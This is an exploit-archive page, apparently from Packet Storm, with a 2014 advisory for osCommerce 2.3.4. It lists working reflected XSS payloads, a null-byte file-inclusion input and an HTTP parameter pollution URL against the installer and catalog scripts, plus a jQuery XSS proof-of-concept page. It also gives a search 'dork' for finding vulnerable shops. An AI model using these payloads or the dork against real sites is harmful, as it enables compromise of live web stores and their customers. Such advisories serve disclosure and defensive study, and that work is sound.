what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oscommerce 2.3.4 XSS / HPP / File Inclusion

Oscommerce 2.3.4 XSS / HPP / File Inclusion
Posted Sep 27, 2014
Authored by indoushka

Oscommerce version 2.3.4 suffers from cross site scripting, HTTP parameter pollution, and local file inclusion vulnerabilities.

tags | exploit, web, local, vulnerability, xss, file inclusion
SHA-256 | 8d1dd2e6442e15ac36b712ca7250cbff8a6c970b84e1efbe78af8cdac497642a

Oscommerce 2.3.4 XSS / HPP / File Inclusion

Change Mirror Download
Oscommerce2.3.4 multi Vulnerability 0-Day
=========================================
Author : indoushka
Vondor : http://www.oscommerce.com/
Dork : Powered by osCommerce
=========================================

File inclusion :

It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.
This vulnerability affects /catalog/install/install.php.
Discovered by: Scripting (File_Inclusion.script).
Attack details
URL encoded POST input DIR_FS_DOCUMENT_ROOT was set to djkhgfdfsjkd%00.jpg
Error message found:
<b>Warning</b>: fopen(weo,kohjbvn%00.jpg/includes/configure.php) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: No such file or directory in <b>C:\AppServ\www\catalog\install\templates\pages\install_4.php</b> on line <b>148</b>

if you try to Reinstall the script in normal method you cant
http://localhost/catalog/install/install.php
but if we try withe xss byg
http://localhost/catalog/install/install.php/rpc.php
you can by pass it and change the Administration Directory Name
to any name shose it licke hacked but the sqldb stoped no real config data in configuer file

XSS Reflected - Jquery 1.11.1 :

<html>
<head>
<meta charset="utf-8">
<title>XSS Reflected - Jquery 1.11.1 </title>
<script src="http://localhost/catalog/ext/jquery/jquery-1.11.1.min.js"></script>
<script>
$(function() {
$('#users').each(function() {
var select = $(this);
var option = select.children('option').first();
select.after(option.text());
select.hide();
});
});
</script>
</head>


<body>
<form method="post">
<p>
<select id="users" name="users">
<option value="xssreflected"><script>alert(&#x27;xss
reflected - jquery 1.11.1 by - indoushka thnx to
@firebitsbr - mauro.risonho@gmail.com&#x27;);</script></option>
</select>
</p>
</form>
</body>
</html>

HTTP parameter pollution :

Vulnerability description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.
This vulnerability affects /catalog/product_info.php
/catalog/product_reviews.php
/catalog/shopping_cart.php
/catalog/index.php
/catalog/advanced_search_result.php
Discovered by: Scripting (HTTP_Parameter_Pollution.script).
Attack details
URL encoded GET input manufacturers_id was set to 4&n990268=v998311
Parameter precedence: last occurrence
Affected link: http://localhost/catalog/index.php?manufacturers_id=4&n990268=v998311
Affected parameter: manufacturers_id=4

Cross site scripting (verified)

This vulnerability affects /catalog/install/install.php
URL encoded POST input DIR_FS_DOCUMENT_ROOT was set to C:/AppServ/www/catalog/'"()&%<ScRiPt >prompt(991173)</ScRiPt>
URL encoded POST input HTTP_WWW_ADDRESS was set to http://127.0.0.1/catalog/" onmouseover=prompt(945521) bad="
The input is reflected inside a tag parameter between double quotes.

This vulnerability affects /catalog/install/rpc.php
URL encoded GET input server was set to e'"()&%<ScRiPt >prompt(945367)</ScRiPt>





Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close